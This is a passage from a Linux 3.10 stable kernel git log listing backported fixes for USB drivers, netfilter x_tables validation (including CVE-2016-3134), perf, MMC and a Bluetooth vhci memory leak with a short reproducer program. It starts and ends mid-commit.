is possible to be changed by usbhsg_ep_enable() wrongly. And then, a data transfer using CFIFO may not work correctly. For example: # modprobe g_multi file=usb-storage.bin # ifconfig usb0 192.168.1.1 up (During the USB host is sending file to the mass storage) # ifconfig usb0 down In this case, since the u_ether.c may call usb_ep_enable() in eth_stop(), if the renesas_usbhs driver is also using CFIFO for mass storage, the mass storage may not work correctly. So, this patch adds usbhs_lock() and usbhs_unlock() calling in usbhsg_ep_enable() to protect CFIFOSEL register. This is because: - CFIFOSEL.CURPIPE = 0 is also needed for the pipe configuration - The CFIFOSEL (fifo->sel) is already protected by usbhs_lock() Fixes: 97664a207bc2 ("usb: renesas_usbhs: shrink spin lock area") Cc: # v3.1+ Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 61c66c3c2018c52f920c767a071ba3395506973c Author: Andrew Goodbody Date: Tue May 31 10:05:26 2016 -0500 usb: musb: Ensure rx reinit occurs for shared_fifo endpoints commit f3eec0cf784e0d6c47822ca6b66df3d5812af7e6 upstream. shared_fifo endpoints would only get a previous tx state cleared out, the rx state was only cleared for non shared_fifo endpoints Change this so that the rx state is cleared for all endpoints. This addresses an issue that resulted in rx packets being dropped silently. Signed-off-by: Andrew Goodbody Cc: stable@vger.kernel.org Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b73e2461aca7dcd51077585953cc3d8706432269 Author: Andrew Goodbody Date: Tue May 31 10:05:27 2016 -0500 usb: musb: Stop bulk endpoint while queue is rotated commit 7b2c17f829545df27a910e8d82e133c21c9a8c9c upstream. Ensure that the endpoint is stopped by clearing REQPKT before clearing DATAERR_NAKTIMEOUT before rotating the queue on the dedicated bulk endpoint. This addresses an issue where a race could result in the endpoint receiving data before it was reprogrammed resulting in a warning about such data from musb_rx_reinit before it was thrown away. The data thrown away was a valid packet that had been correctly ACKed which meant the host and device got out of sync. Signed-off-by: Andrew Goodbody Cc: stable@vger.kernel.org Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 45ca847adf43c7a6d7f75729d3206aae253fa76c Author: Daniele Palmas Date: Mon Jun 6 12:38:17 2016 +0200 USB: serial: option: add support for Telit LE910 PID 0x1206 commit 3c0415fa08548e3bc63ef741762664497ab187ed upstream. This patch adds support for 0x1206 PID of Telit LE910. Since the interfaces positions are the same than the ones for 0x1043 PID of Telit LE922, telit_le922_blacklist_usbcfg3 is used. Signed-off-by: Daniele Palmas Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 86b0d5359043637975368063775aa576d583cd1a Author: Alan Stern Date: Thu Jun 23 14:54:37 2016 -0400 USB: EHCI: declare hostpc register as zero-length array commit 7e8b3dfef16375dbfeb1f36a83eb9f27117c51fd upstream. The HOSTPC extension registers found in some EHCI implementations form a variable-length array, with one element for each port. Therefore the hostpc field in struct ehci_regs should be declared as a zero-length array, not a single-element array. This fixes a problem reported by UBSAN. Signed-off-by: Alan Stern Reported-by: Wilfried Klaebe Tested-by: Wilfried Klaebe CC: Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 46a4dc640f6e6d3956fb33469281f5f3d057a581 Author: Willy Tarreau Date: Sun Aug 21 10:47:12 2016 +0200 USB: fix up faulty backports Ben Hutchings reported that two patches were incorrectly backported to 3.10 : - ddbe1fca0bcb ("USB: Add device quirk for ASUS T100 Base Station keyboard") - ad87e03213b5 ("USB: add quirk for devices with broken LPM") These two patches introduce quirks which must be in usb_quirk_list and not in usb_interface_quirk_list. These last one must only contain the Logitech UVC camera. Reported-by: Ben Hutchings Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9f7b360abc89751aa9f1613f35f8e4aeb31f4a25 Author: Eric Dumazet Date: Fri Jul 15 14:26:24 2016 -0400 udp: properly support MSG_PEEK with truncated buffers commit 197c949e7798fbf28cfadc69d9ca0c2abbf93191 upstream. Backport of this upstream commit into stable kernels : 89c22d8c3b27 ("net: Fix skb csum races when peeking") exposed a bug in udp stack vs MSG_PEEK support, when user provides a buffer smaller than skb payload. In this case, skb_copy_and_csum_datagram_iovec(skb, sizeof(struct udphdr), msg->msg_iov); returns -EFAULT. This bug does not happen in upstream kernels since Al Viro did a great job to replace this into : skb_copy_and_csum_datagram_msg(skb, sizeof(struct udphdr), msg); This variant is safe vs short buffers. For the time being, instead reverting Herbert Xu patch and add back skb->ip_summed invalid changes, simply store the result of udp_lib_checksum_complete() so that we avoid computing the checksum a second time, and avoid the problematic skb_copy_and_csum_datagram_iovec() call. This patch can be applied on recent kernels as it avoids a double checksumming, then backported to stable kernels as a bug fix. Signed-off-by: Eric Dumazet Acked-by: Herbert Xu Signed-off-by: David S. Miller [ luis: backported to 3.16: adjusted context ] Signed-off-by: Luis Henriques Signed-off-by: Charles (Chas) Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 32a0419ee87417bf996f4788053ed99c6c39f6a1 Author: Neil Horman Date: Fri Jul 15 14:26:23 2016 -0400 PCI/ACPI: Fix _OSC ordering to allow PCIe hotplug use when available commit 3dc48af310709b85d07c8b0d3aa8f1ead02829d3 upstream. This fixes the problem of acpiphp claiming slots that should be managed by pciehp, which may keep ExpressCard slots from working. The acpiphp driver claims PCIe slots unless the BIOS has granted us control of PCIe native hotplug via _OSC. Prior to v3.10, the acpiphp .add method (add_bridge()) was always called *after* we had requested native hotplug control with _OSC. But after 3b63aaa70e ("PCI: acpiphp: Do not use ACPI PCI subdriver mechanism"), which appeared in v3.10, acpiphp initialization is done during the bus scan via the pcibios_add_bus() hook, and this happens *before* we request native hotplug control. Therefore, acpiphp doesn't know yet whether the BIOS will grant control, and it claims slots that we should be handling with native hotplug. This patch requests native hotplug control earlier, so we know whether the BIOS granted it to us before we initialize acpiphp. To avoid reintroducing the ASPM issue fixed by b8178f130e ('Revert "PCI/ACPI: Request _OSC control before scanning PCI root bus"'), we run _OSC earlier but defer the actual ASPM calls until after the bus scan is complete. Tested successfully by myself. [bhelgaas: changelog, mark for stable] Reference: https://bugzilla.kernel.org/show_bug.cgi?id=60736 Signed-off-by: Neil Horman Signed-off-by: Bjorn Helgaas Acked-by: Yinghai Lu CC: stable@vger.kernel.org # v3.10+ CC: Len Brown CC: "Rafael J. Wysocki" [ciwillia@brocade.com: backported to 3.10: adjusted context] Signed-off-by: Charles (Chas) Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 082b92bdc18af2456cd17db177d88cce29d38346 Author: Vladimir Davydov Date: Thu Apr 16 12:47:35 2015 -0700 signal: remove warning about using SI_TKILL in rt_[tg]sigqueueinfo commit 69828dce7af2cb6d08ef5a03de687d422fb7ec1f upstream. Sending SI_TKILL from rt_[tg]sigqueueinfo was deprecated, so now we issue a warning on the first attempt of doing it. We use WARN_ON_ONCE, which is not informative and, what is worse, taints the kernel, making the trinity syscall fuzzer complain false-positively from time to time. It does not look like we need this warning at all, because the behaviour changed quite a long time ago (2.6.39), and if an application relies on the old API, it gets EPERM anyway and can issue a warning by itself. So let us zap the warning in kernel. Signed-off-by: Vladimir Davydov Acked-by: Oleg Nesterov Cc: Richard Weinberger Cc: "Paul E. McKenney" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Vinson Lee Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d33b4946d68dc44ebe262d408b8da8e7883a3602 Author: Andrey Ryabinin Date: Wed May 11 16:51:51 2016 +0300 perf/x86: Fix undefined shift on 32-bit kernels commit 6d6f2833bfbf296101f9f085e10488aef2601ba5 upstream. Jim reported: UBSAN: Undefined behaviour in arch/x86/events/intel/core.c:3708:12 shift exponent 35 is too large for 32-bit type 'long unsigned int' The use of 'unsigned long' type obviously is not correct here, make it 'unsigned long long' instead. Reported-by: Jim Cromie Signed-off-by: Andrey Ryabinin Signed-off-by: Peter Zijlstra (Intel) Cc: Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: H. Peter Anvin Cc: Imre Palik Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Fixes: 2c33645d366d ("perf/x86: Honor the architectural performance monitoring version") Link: http://lkml.kernel.org/r/1462974711-10037-1-git-send-email-aryabinin@virtuozzo.com Signed-off-by: Ingo Molnar Cc: Kevin Christopher Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 090e57db3262a601afc689df602ee534db344e22 Author: Palik, Imre Date: Mon Jun 8 14:46:49 2015 +0200 perf/x86: Honor the architectural performance monitoring version commit 2c33645d366d13b969d936b68b9f4875b1fdddea upstream. Architectural performance monitoring, version 1, doesn't support fixed counters. Currently, even if a hypervisor advertises support for architectural performance monitoring version 1, perf may still try to use the fixed counters, as the constraints are set up based on the CPU model. This patch ensures that perf honors the architectural performance monitoring version returned by CPUID, and it only uses the fixed counters for version 2 and above. (Some of the ideas in this patch came from Peter Zijlstra.) Signed-off-by: Imre Palik Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Andy Lutomirski Cc: Anthony Liguori Cc: Arnaldo Carvalho de Melo Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Paul Mackerras Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1433767609-1039-1-git-send-email-imrep.amz@gmail.com Signed-off-by: Ingo Molnar [wt: FIXED_EVENT_FLAGS was X86_RAW_EVENT_MASK in 3.10] Cc: Kevin Christopher Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cd5972aafb88f3783e9864ed8e5c723dcacc8c84 Author: Florian Westphal Date: Fri Apr 1 15:37:59 2016 +0200 netfilter: x_tables: introduce and use xt_copy_counters_from_user commit 63ecb81aadf1c823c85c70a2bfd1ec9df3341a72 upstream. commit d7591f0c41ce3e67600a982bab6989ef0f07b3ce upstream The three variants use same copy&pasted code, condense this into a helper and use that. Make sure info.name is 0-terminated. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a86133edca320a6b917c72188bddab835aed26d5 Author: Bernhard Thaler Date: Thu May 28 10:26:18 2015 +0200 Revert "netfilter: ensure number of counters is >0 in do_replace()" commit d26e2c9ffa385dd1b646f43c1397ba12af9ed431 upstream. This partially reverts commit 1086bbe97a07 ("netfilter: ensure number of counters is >0 in do_replace()") in net/bridge/netfilter/ebtables.c. Setting rules with ebtables does not work any more with 1086bbe97a07 place. There is an error message and no rules set in the end. e.g. ~# ebtables -t nat -A POSTROUTING --src 12:34:56:78:9a:bc -j DROP Unable to update the kernel. Two possible causes: 1. Multiple ebtables programs were executing simultaneously. The ebtables userspace tool doesn't by default support multiple ebtables programs running Reverting the ebtables part of 1086bbe97a07 makes this work again. Signed-off-by: Bernhard Thaler Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e8695ae318b472b1afcaab9a75c4f553226ae1be Author: Florian Westphal Date: Fri Apr 1 14:17:34 2016 +0200 netfilter: x_tables: do compat validation via translate_table commit 09d9686047dbbe1cf4faa558d3ecc4aae2046054 upstream. This looks like refactoring, but its also a bug fix. Problem is that the compat path (32bit iptables, 64bit kernel) lacks a few sanity tests that are done in the normal path. For example, we do not check for underflows and the base chain policies. While its possible to also add such checks to the compat path, its more copy&pastry, for instance we cannot reuse check_underflow() helper as e->target_offset differs in the compat case. Other problem is that it makes auditing for validation errors harder; two places need to be checked and kept in sync. At a high level 32 bit compat works like this: 1- initial pass over blob: validate match/entry offsets, bounds checking lookup all matches and targets do bookkeeping wrt. size delta of 32/64bit structures assign match/target.u.kernel pointer (points at kernel implementation, needed to access ->compatsize etc.) 2- allocate memory according to the total bookkeeping size to contain the translated ruleset 3- second pass over original blob: for each entry, copy the 32bit representation to the newly allocated memory. This also does any special match translations (e.g. adjust 32bit to 64bit longs, etc). 4- check if ruleset is free of loops (chase all jumps) 5-first pass over translated blob: call the checkentry function of all matches and targets. The alternative implemented by this patch is to drop steps 3&4 from the compat process, the translation is changed into an intermediate step rather than a full 1:1 translate_table replacement. In the 2nd pass (step #3), change the 64bit ruleset back to a kernel representation, i.e. put() the kernel pointer and restore ->u.user.name . This gets us a 64bit ruleset that is in the format generated by a 64bit iptables userspace -- we can then use translate_table() to get the 'native' sanity checks. This has two drawbacks: 1. we re-validate all the match and target entry structure sizes even though compat translation is supposed to never generate bogus offsets. 2. we put and then re-lookup each match and target. THe upside is that we get all sanity tests and ruleset validations provided by the normal path and can remove some duplicated compat code. iptables-restore time of autogenerated ruleset with 300k chains of form -A CHAIN0001 -m limit --limit 1/s -j CHAIN0002 -A CHAIN0002 -m limit --limit 1/s -j CHAIN0003 shows no noticeable differences in restore times: old: 0m30.796s new: 0m31.521s 64bit: 0m25.674s Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d7461a8140df2abce8371562c22a2896162489cc Author: Dave Jones Date: Tue May 19 20:55:17 2015 -0400 netfilter: ensure number of counters is >0 in do_replace() commit 1086bbe97a074844188c6c988fa0b1a98c3ccbb9 upstream. After improving setsockopt() coverage in trinity, I started triggering vmalloc failures pretty reliably from this code path: warn_alloc_failed+0xe9/0x140 __vmalloc_node_range+0x1be/0x270 vzalloc+0x4b/0x50 __do_replace+0x52/0x260 [ip_tables] do_ipt_set_ctl+0x15d/0x1d0 [ip_tables] nf_setsockopt+0x65/0x90 ip_setsockopt+0x61/0xa0 raw_setsockopt+0x16/0x60 sock_common_setsockopt+0x14/0x20 SyS_setsockopt+0x71/0xd0 It turns out we don't validate that the num_counters field in the struct we pass in from userspace is initialized. The same problem also exists in ebtables, arptables, ipv6, and the compat variants. Signed-off-by: Dave Jones Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e9038473c3dca7d042857973b7504abf26d99757 Author: Florian Westphal Date: Fri Apr 1 14:17:33 2016 +0200 netfilter: x_tables: xt_compat_match_from_user doesn't need a retval commit 0188346f21e6546498c2a0f84888797ad4063fc5 upstream. Always returned 0. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1ab0b744b980c0bb8714fa6defbe74a6abcd671f Author: Florian Westphal Date: Fri Apr 1 14:17:31 2016 +0200 netfilter: ip6_tables: simplify translate_compat_table args commit 329a0807124f12fe1c8032f95d8a8eb47047fb0e upstream. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d133d982b2a9a56fb8130152187e9b96596556f9 Author: Florian Westphal Date: Fri Apr 1 14:17:30 2016 +0200 netfilter: ip_tables: simplify translate_compat_table args commit 7d3f843eed29222254c9feab481f55175a1afcc9 upstream. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d24085c10d5228ca563875e663285ac8a39d1503 Author: Florian Westphal Date: Fri Apr 1 14:17:32 2016 +0200 netfilter: arp_tables: simplify translate_compat_table args commit 8dddd32756f6fe8e4e82a63361119b7e2384e02f upstream. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ca3c507a13da7bfb0647dcf5690c3dd46c644f73 Author: Florian Westphal Date: Wed Jun 1 02:04:44 2016 +0200 netfilter: x_tables: don't reject valid target size on some architectures commit 7b7eba0f3515fca3296b8881d583f7c1042f5226 upstream. Quoting John Stultz: In updating a 32bit arm device from 4.6 to Linus' current HEAD, I noticed I was having some trouble with networking, and realized that /proc/net/ip_tables_names was suddenly empty. Digging through the registration process, it seems we're catching on the: if (strcmp(t->u.user.name, XT_STANDARD_TARGET) == 0 && target_offset + sizeof(struct xt_standard_target) != next_offset) return -EINVAL; Where next_offset seems to be 4 bytes larger then the offset + standard_target struct size. next_offset needs to be aligned via XT_ALIGN (so we can access all members of ip(6)t_entry struct). This problem didn't show up on i686 as it only needs 4-byte alignment for u64, but iptables userspace on other 32bit arches does insert extra padding. Reported-by: John Stultz Tested-by: John Stultz Fixes: 7ed2abddd20cf ("netfilter: x_tables: check standard target size too") Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d88ce8358774bebb009d0c968f89329ad5a38a7f Author: Florian Westphal Date: Fri Apr 1 14:17:29 2016 +0200 netfilter: x_tables: validate all offsets and sizes in a rule commit 13631bfc604161a9d69cd68991dff8603edd66f9 upstream. Validate that all matches (if any) add up to the beginning of the target and that each match covers at least the base structure size. The compat path should be able to safely re-use the function as the structures only differ in alignment; added a BUILD_BUG_ON just in case we have an arch that adds padding as well. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 413373bac9aff1f31c49c2200ae095d0d9cd35ca Author: Florian Westphal Date: Fri Apr 1 14:17:28 2016 +0200 netfilter: x_tables: check for bogus target offset commit ce683e5f9d045e5d67d1312a42b359cb2ab2a13c upstream. We're currently asserting that targetoff + targetsize <= nextoff. Extend it to also check that targetoff is >= sizeof(xt_entry). Since this is generic code, add an argument pointing to the start of the match/target, we can then derive the base structure size from the delta. We also need the e->elems pointer in a followup change to validate matches. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3c420a03bae1cad439c7d1cecef6c6079a3df7c3 Author: Florian Westphal Date: Fri Apr 1 14:17:27 2016 +0200 netfilter: x_tables: check standard target size too commit 7ed2abddd20cf8f6bd27f65bd218f26fa5bf7f44 upstream. We have targets and standard targets -- the latter carries a verdict. The ip/ip6tables validation functions will access t->verdict for the standard targets to fetch the jump offset or verdict for chainloop detection, but this happens before the targets get checked/validated. Thus we also need to check for verdict presence here, else t->verdict can point right after a blob. Spotted with UBSAN while testing malformed blobs. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0ec7b346feaa62da36c64c44c4f5c1c8621dcd14 Author: Florian Westphal Date: Fri Apr 1 14:17:26 2016 +0200 netfilter: x_tables: add compat version of xt_check_entry_offsets commit fc1221b3a163d1386d1052184202d5dc50d302d1 upstream. 32bit rulesets have different layout and alignment requirements, so once more integrity checks get added to xt_check_entry_offsets it will reject well-formed 32bit rulesets. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3b69910d6d4e45a9ae164e5111b9a52e064df24a Author: Florian Westphal Date: Fri Apr 1 14:17:25 2016 +0200 netfilter: x_tables: assert minimum target size commit a08e4e190b866579896c09af59b3bdca821da2cd upstream. The target size includes the size of the xt_entry_target struct. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 544d5ed7e46d73602a3065a401d5a4927b215167 Author: Florian Westphal Date: Fri Apr 1 14:17:24 2016 +0200 netfilter: x_tables: kill check_entry helper commit aa412ba225dd3bc36d404c28cdc3d674850d80d0 upstream. Once we add more sanity testing to xt_check_entry_offsets it becomes relvant if we're expecting a 32bit 'config_compat' blob or a normal one. Since we already have a lot of similar-named functions (check_entry, compat_check_entry, find_and_check_entry, etc.) and the current incarnation is short just fold its contents into the callers. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b5bd8b53ae1296a24cda484d4986b4a00eb5c089 Author: Florian Westphal Date: Fri Apr 1 14:17:23 2016 +0200 netfilter: x_tables: add and use xt_check_entry_offsets commit 7d35812c3214afa5b37a675113555259cfd67b98 upstream. Currently arp/ip and ip6tables each implement a short helper to check that the target offset is large enough to hold one xt_entry_target struct and that t->u.target_size fits within the current rule. Unfortunately these checks are not sufficient. To avoid adding new tests to all of ip/ip6/arptables move the current checks into a helper, then extend this helper in followup patches. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit da1e9f0b8d847ec5209f5a2fc14edbca4ead6033 Author: Florian Westphal Date: Fri Jul 15 15:08:15 2016 -0400 netfilter: x_tables: don't move to non-existent next rule commit f24e230d257af1ad7476c6e81a8dc3127a74204e upstream. Ben Hawkes says: In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it is possible for a user-supplied ipt_entry structure to have a large next_offset field. This field is not bounds checked prior to writing a counter value at the supplied offset. Base chains enforce absolute verdict. User defined chains are supposed to end with an unconditional return, xtables userspace adds them automatically. But if such return is missing we will move to non-existent next rule. CVE-2016-3134 Reported-by: Ben Hawkes Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Chas Williams <3chas3@gmail.com> Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 8d103a3ac16dd1d2f9e60ac56d72c20c392db8b2 Author: Andi Kleen Date: Mon Aug 5 15:02:45 2013 -0700 x86, asmlinkage, apm: Make APM data structure used from assembler visible commit 54c2f3fdb941204cad136024c7b854b7ad112ab6 upstream. Signed-off-by: Andi Kleen Link: http://lkml.kernel.org/r/1375740170-7446-12-git-send-email-andi@firstfloor.org Signed-off-by: H. Peter Anvin Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 79f91cc716675f963552876b5cfe7c0b2cf54824 Author: Willy Tarreau Date: Sun Jun 12 11:41:54 2016 +0200 Linux 3.10.102 Signed-off-by: Pranav Vashi commit efade569782e836b4a4b4439071ac8320f08eff3 Author: Chanwoo Choi Date: Thu Apr 21 18:58:31 2016 +0900 serial: samsung: Reorder the sequence of clock control when call s3c24xx_serial_set_termios() commit b8995f527aac143e83d3900ff39357651ea4e0f6 upstream. This patch fixes the broken serial log when changing the clock source of uart device. Before disabling the original clock source, this patch enables the new clock source to protect the clock off state for a split second. Signed-off-by: Chanwoo Choi Reviewed-by: Marek Szyprowski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 37d4b6de9db4f12a6971f565f197916f96131248 Author: Jiri Slaby Date: Tue May 3 17:05:54 2016 +0200 tty: vt, return error when con_startup fails commit 6798df4c5fe0a7e6d2065cf79649a794e5ba7114 upstream. When csw->con_startup() fails in do_register_con_driver, we return no error (i.e. 0). This was changed back in 2006 by commit 3e795de763. Before that we used to return -ENODEV. So fix the return value to be -ENODEV in that case again. Fixes: 3e795de763 ("VT binding: Add binding/unbinding support for the VT console") Signed-off-by: Jiri Slaby Reported-by: "Dan Carpenter" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 796382eb702d9f986c675d0f659fc4b91ce5efbe Author: Schemmel Hans-Christoph Date: Fri Apr 29 08:51:06 2016 +0000 USB: serial: option: add support for Cinterion PH8 and AHxx commit 444f94e9e625f6ec6bbe2cb232a6451c637f35a3 upstream. Added support for Gemalto's Cinterion PH8 and AHxx products with 2 RmNet Interfaces and products with 1 RmNet + 1 USB Audio interface. In addition some minor renaming and formatting. Signed-off-by: Hans-Christoph Schemmel [johan: sort current entries and trim trailing whitespace ] Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0801fe75acf4e1b1c4e7255b703d9ab777193e29 Author: Johan Hovold Date: Sun May 8 20:07:57 2016 +0200 USB: serial: io_edgeport: fix memory leaks in probe error path commit c8d62957d450cc1a22ce3242908709fe367ddc8e upstream. URBs and buffers allocated in attach for Epic devices would never be deallocated in case of a later probe error (e.g. failure to allocate minor numbers) as disconnect is then never called. Fix by moving deallocation to release and making sure that the URBs are first unlinked. Fixes: f9c99bb8b3a1 ("USB: usb-serial: replace shutdown with disconnect, release") Cc: stable # v2.6.31 Signed-off-by: Johan Hovold Acked-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e14aea81fa2c51ecfff38b4d0e17dd2df8b3b02b Author: Johan Hovold Date: Sun May 8 20:08:02 2016 +0200 USB: serial: quatech2: fix use-after-free in probe error path commit 028c49f5e02a257c94129cd815f7c8485f51d4ef upstream. The interface read URB is submitted in attach, but was only unlinked by the driver at disconnect. In case of a late probe error (e.g. due to failed minor allocation), disconnect is never called and we would end up with active URBs for an unbound interface. This in turn could lead to deallocated memory being dereferenced in the completion callback. Fixes: f7a33e608d9a ("USB: serial: add quatech2 usb to serial driver") Signed-off-by: Johan Hovold Acked-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5b8908b71c712e9424a7b2bf21b8d24acdaccc8f Author: Johan Hovold Date: Sun May 8 20:07:58 2016 +0200 USB: serial: keyspan: fix use-after-free in probe error path commit 35be1a71d70775e7bd7e45fa6d2897342ff4c9d2 upstream. The interface instat and indat URBs were submitted in attach, but never unlinked in release before deallocating the corresponding transfer buffers. In the case of a late probe error (e.g. due to failed minor allocation), disconnect would not have been called before release, causing the buffers to be freed while the URBs are still in use. We'd also end up with active URBs for an unbound interface. Fixes: f9c99bb8b3a1 ("USB: usb-serial: replace shutdown with disconnect, release") Cc: stable # v2.6.31 Signed-off-by: Johan Hovold Acked-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 041931f8f4567bcd526ef0b8c1d1257f0f839743 Author: Jiri Slaby Date: Sat Mar 19 11:49:43 2016 +0100 Bluetooth: vhci: purge unhandled skbs commit 13407376b255325fa817798800117a839f3aa055 upstream. The write handler allocates skbs and queues them into data->readq. Read side should read them, if there is any. If there is none, skbs should be dropped by hdev->flush. But this happens only if the device is HCI_UP, i.e. hdev->power_on work was triggered already. When it was not, skbs stay allocated in the queue when /dev/vhci is closed. So purge the queue in ->release. Program to reproduce: #include #include #include #include #include #include #include int main() { char buf[] = { 0xff, 0 }; struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf), }; int fd; while (1) { fd = open("/dev/vhci", O_RDWR); if (fd < 0) err(1, "open"); usleep(50); if (writev(fd, &iov, 1) < 0) err(1, "writev"); usleep(50); close(fd); } return 0; } Result: kmemleak: 4609 new suspected memory leaks unreferenced object 0xffff88059f4d5440 (size 232): comm "vhci", pid 1084, jiffies 4294912542 (age 37569.296s) hex dump (first 32 bytes): 20 f0 23 87 05 88 ff ff 20 f0 23 87 05 88 ff ff .#..... .#..... 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: ... [] __alloc_skb+0x0/0x5a0 [] vhci_create_device+0x5c/0x580 [hci_vhci] [] vhci_write+0x306/0x4c8 [hci_vhci] Fixes: 23424c0d31 (Bluetooth: Add support creating virtual AMP controllers) Signed-off-by: Jiri Slaby Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4d1d4aa36efe45931622f7858e401b59234db5c3 Author: Matt Gumbel Date: Fri May 20 10:33:46 2016 +0300 mmc: longer timeout for long read time quirk commit 32ecd320db39bcb007679ed42f283740641b81ea upstream. 008GE0 Toshiba mmc in some Intel Baytrail tablets responds to MMC_SEND_EXT_CSD in 450-600ms. This patch will... () Increase the long read time quirk timeout from 300ms to 600ms. Original author of that quirk says 300ms was only a guess and that the number may need to be raised in the future. () Add this specific MMC to the quirk Signed-off-by: Matt Gumbel Signed-off-by: Adrian Hunter Cc: stable@vger.kernel.org Signed-off-by: Ulf Hansson Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cd86bdce0815351202db2b1037bf9a246f1d4344 Author: Adrian Hunter Date: Thu May 5 08:12:28 2016 +0300 mmc: mmc: Fix partition switch timeout for some eMMCs commit 1c447116d017a98c90f8f71c8c5a611e0aa42178 upstream. Some eMMCs set the partition switch timeout too low. Now typically eMMCs are considered a critical component (e.g. because they store the root file system) and consequently are expected to be reliable. Thus we can neglect the use case where eMMCs can't switch reliably and we might want a lower timeout to facilitate speedy recovery. Although we could employ a quirk for the cards that are affected (if we could identify them all), as described above, there is little benefit to having a low timeout, so instead simply set a minimum timeout. The minimum is set to 300ms somewhat arbitrarily - the examples that have been seen had a timeout of 10ms but were sometimes taking 60-70ms. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a4196acc804baf5785a356cce51379218118ad10 Author: Roger Quadros Date: Mon May 9 11:28:37 2016 +0300 mfd: omap-usb-tll: Fix scheduling while atomic BUG commit b49b927f16acee626c56a1af4ab4cb062f75b5df upstream. We shouldn't be calling clk_prepare_enable()/clk_prepare_disable() in an atomic context. Fixes the following issue: [ 5.830970] ehci-omap: OMAP-EHCI Host Controller driver [ 5.830974] driver_register 'ehci-omap' [ 5.895849] driver_register 'wl1271_sdio' [ 5.896870] BUG: scheduling while atomic: udevd/994/0x00000002 [ 5.896876] 4 locks held by udevd/994: [ 5.896904] #0: (&dev->mutex){......}, at: [] __driver_attach+0x60/0xac [ 5.896923] #1: 